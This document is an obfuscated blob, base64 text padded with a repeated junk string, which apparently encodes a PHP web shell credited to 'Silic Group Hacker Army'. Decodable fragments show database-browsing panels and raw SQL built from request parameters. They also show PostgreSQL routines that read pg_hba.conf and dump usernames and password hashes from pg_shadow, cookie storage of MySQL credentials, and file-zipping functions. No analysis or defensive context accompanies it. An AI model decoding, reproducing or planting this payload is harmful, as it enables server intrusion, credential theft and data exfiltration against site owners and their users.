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pcD0ivfezrvfeS/qsq8veLRuSI7CmlvfemKCRfUE9TvfeVFsnevfemlwJ1vfe09vfePSd6aXAnKXsKaWYoZnVuY3Rpb25fZXvfehpc3RzKHppcF9vcGVuKSl7CiR6ZvfemlsZvfeTvfe1rZXlfZXhpvfec3RzKCd6aXAnLCAkX0dFVCkgJiYgJF9HRVvfeRbJ3ppcCddPyRfR0VUWyd6aXAnXTokemZpbGvfeU7CivfeR6vfeZmlsZT0vfegc3RyXvfe3JlcGxhY2vfeUvfeovfeYXJyYXkoZvfeGlybmFtZShfX0ZJTEVfXykuIi8iLGRpcm5hbvfeWUoX19GSUvfexFX1vfe8pLiJcXCIpLGFvfeycmF5KvfeCIiLCIiKSwvfekemZpbGUpOwokenBhdGg9c3RvfeyX3JvfelcGvfexhY2vfeUovfeJ1xcvfeJywnLycsZGlybmFtZShfX0ZJTEVfXvfeyvfekvfepLicvJy4kemZpbGU7CmlmKCFpvfec19maWxlKCR6cGF0aCkvfepvfeeyR0aXA9J87EvP4iJy4kevfenBhdGguvfeJyKyu7Tm1NohJvfezt9ZWvfexzZXsKJHppcD0gbmV3IFppcEFyY2hpvfedmUoKTsvfeKJHJzPSR6aXvfeAtPm9vfewvfeZW4oJHpvfewYXRoKTsKaWYoJHJzICvfeE9PSBUUlVFKXskdGlwPSe94tG5vfeyqew3DonLiRyczt9CiR6avfeXAtPmVvfe4dHJhvfeY3RUbygkvfeanlvfewdCk7vfeCiR6aXAtPmNsb3NlvfeKCk7CiR0aXA9JHpmaWxlLie94tvfeG5s8m5piEnO30KfvfeWVsvfec2V7JHRpcvfeD0it/7O8cb3srvWp7PWUEvfehQX1pJUNvfefpvP4vfesx+vIt8jvfePIjtvfe9Cn0KcHJpbnQ8PDxFTkQKPGRpdvfeiBjbGFzcz0iYWN0YvfeWxsIjvfe4vfeKPGZvcm0gvfeYvfeWN0aW9uPSI/cvfez16YSIgbWvfeV0aG9kPSJQT1NUIjvfe4KPGlucHVvfe0IHR5vfecGvfeU9ImhpZGRlvfebiIgvfebmFtZT0iemlwIiBpZDvfe0vfeiemlwIivfeB2YWx1ZT0iemlwIj4Kvfesb7Evfeo7/pyvfernTw1BIULXvfeEemlwX29wZW7AqdW5vfewLvfeSy2dvfef3WkvfelQ0bnL9c7vfeEvvfeP48vfeYnIvfe+Csq508PHsMfr1NqhvjxiPjxhIvfeGhyZWY9Ij9zvfePvfeWvfeYvfeiPs+1zbPQxc+vfeiPC9vfehPjwvYvfej6hv9bvfeQyLfIz8+1zbPvfeWpvfe7PWcGhwX3ppcDxicj4vfeK0vfebnL9c7EvP7Ct762v8nQtM/CvLbEv8K8u